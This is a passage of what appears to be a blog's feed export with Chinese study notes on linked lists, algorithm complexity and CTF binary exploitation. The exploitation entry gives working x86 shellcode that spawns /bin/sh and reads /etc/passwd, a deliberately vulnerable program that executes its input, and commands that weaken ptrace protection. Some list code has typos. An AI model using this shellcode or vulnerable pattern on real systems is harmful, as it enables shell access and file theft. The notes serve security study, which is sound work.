class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//同样使用快慢两个指针，当用慢指针slow遍历列表时，让另一个指针fast的速度是slow的二倍，则当快指针到结尾时，slow指针位于中间。</span></span><br><span class="line"><span class="comment">//初始位置都为head时，当fast指向最终的null时，slow也就达到了要求。</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> &#123;</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> ListNode <span class="title">middleNode</span><span class="params">(ListNode head)</span> </span>&#123;</span><br><span class="line">ListNode slow = head, fast = head;</span><br><span class="line"><span class="keyword">while</span>((fast != null) &amp;&amp; (fast.next != null)) &#123;</span><br><span class="line">slow = slow.next;</span><br><span class="line">fast = fast.next.next;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> slow;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;center&gt;5个常见的单链表操作&lt;/center&gt;</summary>
    
    
    
    <category term="DataStructure" scheme="http://askylin.top/categories/DataStructure/"/>
    
    
    <category term="DataStructure" scheme="http://askylin.top/tags/DataStructure/"/>
    
    <category term="c++" scheme="http://askylin.top/tags/c/"/>
    
  </entry>
  
  <entry>
    <title>Palindrome</title>
    <link href="http://askylin.top/2018/10/14/List/"/>
    <id>http://askylin.top/2018/10/14/List/</id>
    <published>2018-10-14T01:38:47.000Z</published>
    <updated>2021-09-20T13:17:53.717Z</updated>
    
    <content type="html"><![CDATA[<hr><blockquote><p>在学习链表时，遇到的一个有意思的问题，记录下思路和算法。</p></blockquote><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><ol><li>使用快慢两个指针找到链表中点，快指针每次移动两个结点，慢指针每次移动一个结点。<ul><li>如果结点是奇数，中点位置不需要矫正</li><li>如果结点是偶数，使慢指针前进一个结点指向下中位数</li></ul></li><li>在慢指针移动的时候，同时修改其next指针，使链表前半部分反序。</li><li>最后比较中点两侧的链表是否相等。</li></ol><p>时间复杂度：O(n)<br>空间复杂度：O(n)</p><hr><h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/***** Definition for linklist *****/</span></span><br><span class="line"><span class="comment">/* typedef struct LNode&#123;</span></span><br><span class="line"><span class="comment">Elemtype data;</span></span><br><span class="line"><span class="comment">struct LNode *next;</span></span><br><span class="line"><span class="comment"> * &#125;LNode *linklist</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">isPalindorme</span><span class="params">(LNode head)</span> </span>&#123;</span><br><span class="line"><span class="keyword">if</span> (head == null || head-&gt;next == null) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">LNode prev = null;</span><br><span class="line">LNode slow = head;</span><br><span class="line">LNode fast = head;</span><br><span class="line"></span><br><span class="line"><span class="comment">//实现链表前半部分反序排列</span></span><br><span class="line"><span class="keyword">while</span> (fast != null &amp;&amp; fast-&gt;next != null) &#123;</span><br><span class="line">fast = fast-&gt;next-&gt;next;</span><br><span class="line">LNode next = slow-&gt;next;</span><br><span class="line">slow-&gt;next = prev;</span><br><span class="line">prev = slow;</span><br><span class="line">slow = next;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//根据fast指针判断链表奇偶</span></span><br><span class="line"><span class="keyword">if</span> (fast ！= null) &#123;</span><br><span class="line">slow = slow-&gt;next;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//比较链表前半段和后半段是否相同</span></span><br><span class="line"><span class="keyword">while</span> (slow != null) &#123;</span><br><span class="line"><span class="keyword">if</span> (slow-&gt;data != prev-&gt;data) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line">slow = slow-&gt;next;</span><br><span class="line">prev = prev-&gt;next</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;center&gt;单链表判断回文串&lt;/center&gt;</summary>
    
    
    
    <category term="DataStructure" scheme="http://askylin.top/categories/DataStructure/"/>
    
    
    <category term="DataStructure" scheme="http://askylin.top/tags/DataStructure/"/>
    
    <category term="c++" scheme="http://askylin.top/tags/c/"/>
    
    <category term="c" scheme="http://askylin.top/tags/c/"/>
    
  </entry>
  
  <entry>
    <title>DataStructure</title>
    <link href="http://askylin.top/2018/09/26/DataStructure/"/>
    <id>http://askylin.top/2018/09/26/DataStructure/</id>
    <published>2018-09-26T14:49:27.000Z</published>
    <updated>2021-09-20T13:17:53.524Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="绪论"><a href="#绪论" class="headerlink" title="绪论"></a>绪论</h1><h2 id="基本概念和术语"><a href="#基本概念和术语" class="headerlink" title="基本概念和术语"></a>基本概念和术语</h2><p><strong>数据</strong>：所有能输入到计算机中并被计算机程序处理的符号总称<br><strong>数据元素</strong>：数据的基本单位，一个数据元素可由若干个<strong>数据项</strong>组成<br><strong>数据项</strong>：是数据的不可分割的最小单位<br><strong>数据对象</strong>：是性质相同的数据元素的集合，是数据的一个子集<br><strong>数据结构</strong>：是相互之间存在的一种或多种特定关系的数据元素的集合（简单解释）</p><p>根据数据元素之间关系的不同特性，通常有下列4种基本结构：<br>1）集合<br>2）线性结构<br>3）树形结构<br>4）图状结构或网状结构</p><p>数据结构的形式定义为：数据结构是一个二元组<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Data_Structure = (D,S)</span><br></pre></td></tr></table></figure><br>其中：D是数据元素的有限集，S是D上关系的有限集。</p><p><strong>数据的储存结构</strong><br>顺序、链接、索引、散列</p><p><strong>抽象数据类型（ADT）</strong><br>和数据结构的形式定义相对应，抽象数据类型可用以下三元组表示<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(D、S、P)</span><br></pre></td></tr></table></figure><br>其中，D是数据对象，S是D上的关系集，P是对D的基本操作机集。<br>以如下格式定义抽象数据类型：<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ADT抽象数据类型名&#123;</span><br><span class="line">数据对象：&lt;数据对象的定义&gt;</span><br><span class="line">数据关系：&lt;数据关系的定义&gt;</span><br><span class="line">基本操作：&lt;基本操作的定义&gt;</span><br><span class="line">&#125;ADT抽象数据类型名</span><br></pre></td></tr></table></figure><br>其中，数据对象和数据关系的定义用伪代码描述，基本操作的定义格式为<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">基本操作名(参数表)</span><br><span class="line">初始条件：&lt;初始条件描述&gt;</span><br><span class="line">操作结果：&lt;操作结果描述&gt;</span><br></pre></td></tr></table></figure><br>基本操作有两种参数：<br><strong>赋值参数只为操作提供输入值</strong><br><strong>引用参数以&amp;打头，出可提供输入值外，还将返回操作结果</strong></p><h2 id="复杂度分析"><a href="#复杂度分析" class="headerlink" title="复杂度分析"></a>复杂度分析</h2><h3 id="时间复杂度"><a href="#时间复杂度" class="headerlink" title="时间复杂度"></a><strong>时间复杂度</strong></h3><p>一般情况下，算法中基本操作重复执行的次数是问题规模n的某个函数f(n)，算法的时间度量记作<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(n) = O(f(n))</span><br></pre></td></tr></table></figure><br><strong>时间复杂度分析</strong><br>1）只关注循环执行次数最多的一段代码<br>2）加法法则：总复杂度等于量级最大的那一段代码的复杂度。例如：<br>若 T1(n) = O(f(n)), T2(n) = O(g(n))<br>则 T(n) = T1(n) + T2(n) = max{O(f(n)), O(g(n))} = O(max{f(n),g(n)})<br>3）乘法法则：嵌套代码的复杂度等于嵌套内外代码复杂度的乘积。例如：<br>若 T1(n) = O(f(n)), T2(n) = O(g(n))<br>则 T(n) = T1(n) x T2(n) = O(f(n)) x O(g(n)) = O(f(n) xg(n))<br><strong>复杂度量级（按数量级递增）</strong></p><div class="table-container"><table><thead><tr><th>多项式量级</th><th>非多项式量级</th></tr></thead><tbody><tr><td>常量阶O(1)</td><td>指数阶O(2^n)</td></tr><tr><td>对数阶O(logn)</td><td>阶乘阶O(n!)</td></tr><tr><td>线性阶O(n)</td><td></td></tr><tr><td>线性对数阶O(nlogn)</td><td></td></tr><tr><td>平方阶O(n^2)…k次方阶O(n^k)</td><td></td></tr></tbody></table></div><p><strong>当O(m+n)、O(mxn)时</strong><br>加法法则：T1(m) + T2(n) = T(n) = O(f(n) + g(n))<br>乘法法则不变</p><h4 id="进阶：四个复杂度分析"><a href="#进阶：四个复杂度分析" class="headerlink" title="进阶：四个复杂度分析"></a>进阶：四个复杂度分析</h4><p>最坏情况时间复杂度：代码在最坏的情况下执行的时间复杂度<br>最好情况时间复杂度：代码在最理想的情况下执行的时间复杂度<br><strong>平均时间复杂度</strong>：用代码在所有情况下执行的次数的加权平均值表示<br><strong>均摊时间复杂度</strong>：在代码执行的所有复杂度情况中绝大多数是低级别的复杂度，个别情况是高级别复杂度，且低级别的复杂度与高级别的复杂度发生具有规律性时，可以将个别高级别的复杂度均摊到低级别的复杂度上。基本上均摊结果等于低级别的时间复杂度。<br><em>平均时间复杂度举例</em><br>    <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//n表示数组array长度</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">find</span><span class="params">(<span class="keyword">int</span>[] array,<span class="keyword">int</span> n,<span class="keyword">int</span> x)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> pos = <span class="number">-1</span>;</span><br><span class="line"><span class="keyword">for</span> (;i&lt;n;++i)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(array[i]==x)&#123;</span><br><span class="line">pos = i;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> pos;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><br>假设要查找的x在数组中与不在数组中的概率都为1/2，另外，要查找的数据出现在0-n-1这n个位置的概率都一样，即1/n，则该例的平均时间复杂度计算方式为<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1x1/2n + 2x1/2n + 3x1/2n + ... + nx1/2n +nx1/2</span><br><span class="line">= (3n+1)/4</span><br></pre></td></tr></table></figure><br>由此可见该代码的加权平均时间复杂度为O(n)<br><em>均摊时间复杂度举例</em><br>    <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//array表示一个长度为n的数组</span></span><br><span class="line"><span class="comment">//代码中的array.length就等于n</span></span><br><span class="line"><span class="keyword">int</span>[] array = <span class="keyword">new</span> <span class="keyword">int</span>[n];</span><br><span class="line"><span class="keyword">int</span> count <span class="number">0</span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">insert</span><span class="params">(<span class="keyword">int</span> val)</span></span>&#123;</span><br><span class="line"><span class="keyword">if</span>(count == array.length)&#123;</span><br><span class="line"><span class="keyword">int</span> sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>;i&lt;array.length;i++)&#123;</span><br><span class="line">sum = sum + array[i];</span><br><span class="line">&#125;</span><br><span class="line">array[<span class="number">0</span>] = sum;</span><br><span class="line">count = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">array[count] = val;</span><br><span class="line">++count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><br>在最理想的情况下，数组内有空闲空间，所以最好情况时间复杂度为O(1)，数组长度为n，那么更具数组插入的位置的不同，我们可以分为n种情况；最坏的情况下，数组中没有空闲空间，需要先做一次数组的遍历求和，然后将数组插入，所以最坏情况时间复杂度为O(n)。所以总共有n+1种情况，且发生概率一样，都是1/(n+1)。那么平均时间复杂度的计算方法为<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1x1/(n+1) + 1X1/(n+1) + ... + 1x1/(n+1) + nx1/(n+1)</span><br><span class="line">= O(1)</span><br></pre></td></tr></table></figure><br>我们可以发现find()函数和insert()函数有很大的差别，find()函数在极端情况下复杂度才为O(1),但insert()函数在大部分情况下复杂度都是O(1)，而且O(1)的插入和O(n)的插入，出现频率是非常有规律的，而且有一定的时序关系，一般都是一个O(n)插入之后，紧跟着n-1个O(1)的插入操作，循环往复。针对如此场景，上述分析的方法被称为：摊还分析法；通过摊还分析法得到的时间复杂度就是均摊时间复杂度。我么可以发现每一次O(n)的插入都会伴随n-1次的O(1)的插入，所以把耗时多的操作均摊到接下来n-1次耗时少的操作上，这就是均摊分析的大致思路</p><h3 id="空间复杂度"><a href="#空间复杂度" class="headerlink" title="空间复杂度"></a><strong>空间复杂度</strong></h3><p>类似于时间复杂度，空间复杂度作为算法所需存储空间的度量，记作<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S(n) = O(f(n))</span><br></pre></td></tr></table></figure></p><h1 id="留坑待填"><a href="#留坑待填" class="headerlink" title="留坑待填"></a>留坑待填</h1>]]></content>
    
    
    <summary type="html">&lt;center&gt;数据结构C语言版每章总结&lt;/center&gt;</summary>
    
    
    
    <category term="DataStructure" scheme="http://askylin.top/categories/DataStructure/"/>
    
    
    <category term="DataStructure" scheme="http://askylin.top/tags/DataStructure/"/>
    
  </entry>
  
  <entry>
    <title>Pwn</title>
    <link href="http://askylin.top/2018/09/12/pwn/"/>
    <id>http://askylin.top/2018/09/12/pwn/</id>
    <published>2018-09-12T13:26:33.000Z</published>
    <updated>2021-09-20T13:17:53.889Z</updated>
    
    <content type="html"><![CDATA[<hr><h1 id="Basic-Knowledge"><a href="#Basic-Knowledge" class="headerlink" title="Basic Knowledge"></a>Basic Knowledge</h1><p>·Reverse Engineering<br>·Exploit<br>·x86 Assembly</p><p><strong>·Reverse Engineering</strong><br>Binary to Source code<br>通过逆向工程来发现漏洞<br>静态分析（不运行程序来分析代码）：<br>    工具：<br>        IDA Pro<br>        objdump命令<br>动态分析（运行程序来分析代码）：<br>    工具：<br>        strace命令（跟踪系统函数调用）usage: strace fileaddress<br>        Itrace命令（跟踪所有库调用, library函数）usage:ltrace fileaddress</p><p><strong>·Exploit</strong><br>Vulnerability to Control flow<br>利用漏洞攻击取得程序控制权<br>即pwn<br>Useful Tools</p><ol><li>IDA PRO</li><li>GDB <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">usage: gdb -q ./a.out</span><br><span class="line">            run(r)--运行</span><br><span class="line">            disas function_name--反编译某个function</span><br><span class="line">            break(b) *0x80488014--设置断点</span><br><span class="line">            info b--查看断点</span><br><span class="line">            info r--查看寄存器状态</span><br><span class="line">            ni--next instruction</span><br><span class="line">            si--step into</span><br><span class="line">            backtrace(bt)--显示上一层所有stack frame信息</span><br><span class="line">            continue(c)--继续执行到下一个断点</span><br><span class="line">            x/wx address--查看address中的内容</span><br><span class="line">w可以换成b/h/g分别对应1/2/8 Byte</span><br><span class="line">/后可以接数字，表示一次列出几个</span><br><span class="line">第二个x可以换成u/d/s/i 以不同方式表示</span><br><span class="line">u：unsigned int</span><br><span class="line">d：10进制</span><br><span class="line">s：字符串</span><br><span class="line">i：指令</span><br><span class="line">            set *address = value</span><br><span class="line">将address中的值设置为value，一次设4byte</span><br><span class="line">可以将*换成（char/short/long）分别表示 1/2/8 byte</span><br><span class="line">eg:</span><br><span class="line">set *0x8048a060 = 0xdeadbeef</span><br><span class="line">set &#123;int&#125;0x8048a060 = 1337</span><br><span class="line">set $eax = $edx(寄存器间)</span><br><span class="line">            list--列出源代码</span><br><span class="line">            print val--打印变量值</span><br><span class="line">            info local--显示局部变量</span><br><span class="line">            attach pid--附近加一个正在运行的程序</span><br><span class="line">            可以配合ncat或socat进行exploit的调试</span><br><span class="line">ncat -ve ./a.out -kl 8888</span><br><span class="line">echo 0 &gt; /proc/sys/kernel/yama/ptrace_scope</span><br><span class="line">elfsymbol--查看function的plt，做ROP时特别有用</span><br><span class="line">vmmap--查看process mapping信息，可以看到每个address的权限</span><br><span class="line">readelf--查看section位置</span><br><span class="line">find(alias searchmem)--在内存中查找信息，通常用来搜索字符串（例如：/bin/sh）</span><br></pre></td></tr></table></figure></li><li>Qira <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">usage: qira -s ./filename</span><br></pre></td></tr></table></figure></li><li>Pwntools <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Basic structure :</span><br><span class="line">from pwn import *</span><br><span class="line">r = remote(&#x27;127.0.0.1&#x27;,4000)  //地址可变，也可以直接是程序名</span><br><span class="line">r.sendline(...)               //传入程序的内容，若传入地址，需写成如：p32(0x111)格式</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure></li></ol><hr><h1 id="Shellcode"><a href="#Shellcode" class="headerlink" title="Shellcode"></a>Shellcode</h1><p><strong>·System Call</strong><br>   通过汇编程序来执行系统的命令<br>   EAX: system call number/ return value<br>   EBX,ECX,EDX,ESI,EDI: argument<br>   Instruction: int 0x80<br>   System Call查看网址（Linux）：<a href="http://syscalls.kernelgork.com/">http://syscalls.kernelgork.com/</a><br>   Example: execve(“/bin/sh”,NULL,NULL)<br>    <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">x86 Assembly</span><br><span class="line">//该程序实现了execve(<span class="string">&quot;/bin/sh&quot;</span>,NULL,NULL)//</span><br><span class="line"><span class="keyword">push</span> <span class="number">0x0068732f</span></span><br><span class="line"><span class="keyword">push</span> <span class="number">0x6e69622f</span></span><br><span class="line"><span class="keyword">mov</span> ebx,esp</span><br><span class="line"><span class="keyword">mov</span> eax <span class="number">0xb</span></span><br><span class="line"><span class="keyword">mov</span> ecx <span class="number">0x0</span>     //xor ecx,ecx</span><br><span class="line"><span class="keyword">mov</span> edx,<span class="number">0x0</span>     //xor edx,edx</span><br><span class="line">int <span class="number">0x80</span></span><br><span class="line">//但该程序不是常用的写法，只做试例//</span><br></pre></td></tr></table></figure></p><pre><code><figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">//下面是一个常见的写法//</span><br><span class="line"><span class="keyword">jmp</span> sh</span><br><span class="line"><span class="symbol">run:</span></span><br><span class="line">  <span class="keyword">pop</span> ebx</span><br><span class="line">  <span class="keyword">mov</span> BYTE [ebx+<span class="number">7</span>],<span class="number">0</span> //将内存中“/bin/sh”后面一个内存单元设置为<span class="number">0</span>，作为作为该字符串的结束标志</span><br><span class="line">  xor eax,eax</span><br><span class="line">  <span class="keyword">mov</span> al,<span class="number">11</span></span><br><span class="line">  xor ecx,ecx</span><br><span class="line">  xor edx,edx</span><br><span class="line">  int <span class="number">0x80</span></span><br><span class="line"><span class="symbol">sh:</span></span><br><span class="line">  <span class="keyword">call</span> run</span><br><span class="line">  db <span class="string">&quot;/bin/sh&quot;</span></span><br></pre></td></tr></table></figure></code></pre><p>   使该汇编程序在c中调用<br>   <figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//首先编译上面的汇编程序</span></span><br><span class="line">·nasm a.<span class="keyword">asm</span> -o a.o -felf32</span><br><span class="line"><span class="comment">//将a.o转化为16进制文件</span></span><br><span class="line">·objcopy -O binary a.o code</span><br><span class="line">·xxd -i code</span><br><span class="line">·xxd -i code &gt; code.h        <span class="comment">//转化为头文件</span></span><br><span class="line"><span class="comment">//编写和运行C文件</span></span><br><span class="line">·<span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&quot;code.h&quot;</span></span></span><br><span class="line"> <span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">(*CODE)</span><span class="params">()</span></span>;      <span class="comment">//定义一个返回值为int，不带参数的函数指针</span></span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line"> ((CODE)code)();</span><br><span class="line"> &#125;</span><br><span class="line"><span class="comment">//编译</span></span><br><span class="line">·gcc test.c -o test -m32 -zexecstack</span><br><span class="line"><span class="comment">//再编写一个程序vul.c，编译一下</span></span><br><span class="line">·<span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"> <span class="keyword">char</span> code[<span class="number">200</span>];</span><br><span class="line"> <span class="function"><span class="keyword">typedef</span> <span class="title">int</span> <span class="params">(*CODE)</span><span class="params">()</span></span>;</span><br><span class="line">  </span><br><span class="line"> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>&#123;</span><br><span class="line">        <span class="built_in">read</span>(<span class="number">0</span>,code,<span class="number">100</span>);</span><br><span class="line">        ((CODE)code)();</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line"><span class="comment">//将scode的输出作为输入传给vul</span></span><br><span class="line">·(cat scode;cat) | ./vul</span><br><span class="line"></span><br></pre></td></tr></table></figure><br>   在很多时候我们不能直接拿到shell，尤其是在做CTF的时候，Flag会保存在一个文件中，那么此时我们需要：<br>   Open这个文件<br>   Read这个文件<br>   Write这个文件<br>   <figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">//写一个OWR的汇编程序（参照上例）</span><br><span class="line"> <span class="keyword">jmp</span> file </span><br><span class="line"> open:</span><br><span class="line"> <span class="keyword">pop</span> ebx</span><br><span class="line"> xor eax,eax</span><br><span class="line"> <span class="keyword">mov</span> al,<span class="number">5</span>           //open操作</span><br><span class="line"> xor ecx,ecx</span><br><span class="line"> int <span class="number">0x80</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">mov</span> ebx,eax</span><br><span class="line"> <span class="keyword">mov</span> al,<span class="number">3</span>           //read操作</span><br><span class="line"> <span class="keyword">mov</span> ecx,esp</span><br><span class="line"> <span class="keyword">mov</span> dl,<span class="number">0x30</span></span><br><span class="line"> int <span class="number">0x80</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">mov</span> al,<span class="number">4</span>           //write操作</span><br><span class="line"> <span class="keyword">mov</span> bl,<span class="number">1</span></span><br><span class="line"> <span class="keyword">mov</span> dl,<span class="number">0x30</span></span><br><span class="line"> int <span class="number">0x80</span></span><br><span class="line"></span><br><span class="line"> xor eax,eax</span><br><span class="line"> <span class="keyword">inc</span> eax            //exit操作</span><br><span class="line"> int <span class="number">0x80</span></span><br><span class="line"></span><br><span class="line"> file:</span><br><span class="line"> <span class="keyword">call</span> open</span><br><span class="line"> db <span class="string">&#x27;/etc/passwd&#x27;</span>,<span class="number">0x0</span></span><br></pre></td></tr></table></figure><br>   然后参照上例操作</p><hr><h1 id="Stack-Overflow"><a href="#Stack-Overflow" class="headerlink" title="Stack Overflow"></a>Stack Overflow</h1><p>·又称stack smashing<br>·利用方式简单，可直接覆盖return address和控制参数</p><p><strong>·Return to Text</strong><br>控制程序的返回地址到原本程序中的函数（代码）<br>1）例如程序中有类似function：<br>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">system(&#x27;/bin/sh&#x27;)</span><br><span class="line">execve(&#x27;/bin/sh&#x27;,NULL,NULL)</span><br></pre></td></tr></table></figure><br>就可以通过地址直接跳转到function<br>2）如果数据段上是可执行并且位置固定的话，可以先在数据段上写入shellcode，然后再跳转到数据段上执行。</p><hr><h1 id="ROP"><a href="#ROP" class="headerlink" title="ROP"></a>ROP</h1><p>一种利用现有的程序片段组合出想要的功能的技巧<br>1）控制ROP行为的code是“Stack上排列的内容”<br>Gadget：一小段以ret结尾的code<br>ROP Chain：串联在一起的gadget，组合出需要的功能<br><img src="/2018/09/12/pwn/ROPchain.png" class=""><br>Gadget执行完后，还可以继续return<br>只要在stack上按正确的顺序排列好每个gadget的address和对应的stack frame，就可以执行复杂的功能了<br>2）使用ROP的关键：<br>    查找gadget<br>    排列gadget<br>3）ROP类型：<br>    控制寄存器做syscall<br>    使用原有程序里的函数<br>    使用libc里的gadget或者函数（绕过ASLR）</p><h2 id="Protection"><a href="#Protection" class="headerlink" 